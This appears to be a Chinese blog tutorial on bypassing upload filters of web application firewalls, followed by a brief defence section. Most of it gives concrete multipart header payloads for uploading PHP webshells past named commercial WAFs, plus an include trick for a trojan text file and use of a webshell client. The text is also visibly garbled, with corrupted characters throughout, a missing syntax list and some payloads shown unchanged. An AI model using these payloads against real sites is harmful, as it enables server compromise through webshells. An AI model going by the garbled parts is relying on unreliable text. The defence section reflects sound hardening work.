今天就聊聊關(guān)于上傳繞過WAF的姿勢(shì),WAF(Web Application Firewall)簡(jiǎn)單的來說就是執(zhí)行一系列針對(duì)HTTP/HTTPS的安全策略來專門為Web應(yīng)用提供保護(hù)的一款產(chǎn)品。
上傳繞過不算什么技術(shù)了,正所謂未知防,焉知攻,先來了解一下網(wǎng)站的防御措施吧!
一、Bypass Waf
1.一般開發(fā)人員防御策略
客戶端javascript校驗(yàn)(一般只校驗(yàn)后綴名)服務(wù)端校驗(yàn)1>文件頭content-type字段校驗(yàn)(image/gif)2>文件內(nèi)容頭校驗(yàn)(GIF89a)3>后綴名黑名單校驗(yàn)4>后綴名白名單校驗(yàn)5>自定義正則校驗(yàn)6>WAF設(shè)備校驗(yàn)(根據(jù)不同的WAF產(chǎn)品而定)。
2.Bypass
2.1 有些waf不會(huì)防asp/php/jsp后綴的文件,但是他會(huì)檢測(cè)里面的內(nèi)容。
eg1:
1.先上傳一個(gè)內(nèi)容為木馬的txt后綴文件,因?yàn)楹缶Y名的關(guān)系沒有檢驗(yàn)內(nèi)容
2.然后再上傳一個(gè).php的文件。
此時(shí),這個(gè)php文件就會(huì)去引用txt文件的內(nèi)容,從而繞過校驗(yàn),下面列舉包含的語法:
訪問shell.php就可以執(zhí)行php代碼 嘗試修改壓縮文件后綴為zip、phar、rar發(fā)現(xiàn)都是可以的。
2.2 WTS-WAF Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
2.3 Baidu cloud Bypass
發(fā)現(xiàn)百度云目前正在攔截后綴,百度云過上傳還跟
Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”
百度云繞過就簡(jiǎn)單的很多很多,在對(duì)文件名大小寫上面沒有檢測(cè)php是過了的,Php就能過,或者PHP,一句話自己合成圖片用Xise連接即可。
2.4 阿里云WAF
Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
Bypass:
Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
Note:你看的沒錯(cuò),刪除Content-Type: image/jpeg即可繞過。
2.5 安全狗上傳Bypass(最新版不可繞)
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
Bypass:
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png
C.php”
Note:刪掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號(hào)要跟著c.php".原理就不多說了,自己研究。
2.6 云鎖上傳Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
二、Defense
詳細(xì)說一下Type繞過防御機(jī)制,其他的防御機(jī)制自己可以下去研究。
1.目錄設(shè)為不可執(zhí)行:
只要web容器無法解析該目錄下的文件,即使攻擊者上傳了腳本文件,服務(wù)器本身也不會(huì)受到影響,所以此點(diǎn)至關(guān)重要。
2.判斷文件類型:
判斷文件類型時(shí),應(yīng)結(jié)合MIME-Type、后綴檢查等方式、推薦使用白名單的方式。
3.用隨機(jī)數(shù)改寫:
文件上傳如果要執(zhí)行代碼,則需要用戶能訪問到這個(gè)文件。在某些環(huán)境下,用戶能上傳,但是不能訪問。
三、Summary
研究WAF的繞過手段,是為了更好的提升WAF的防御能力。在研究突破的過程中,不要只是僅僅停留在正則表達(dá)式、基本漏洞原理,需要對(duì)涉及并深入更多的領(lǐng)域,例如HTTP協(xié)議理解和PHP、Tomcat對(duì)HTTP協(xié)議源碼分析,MySQL詞法分析,和Fuzz的思路等。在此過程中,會(huì)有許多樂趣,也會(huì)有各方面能力的提升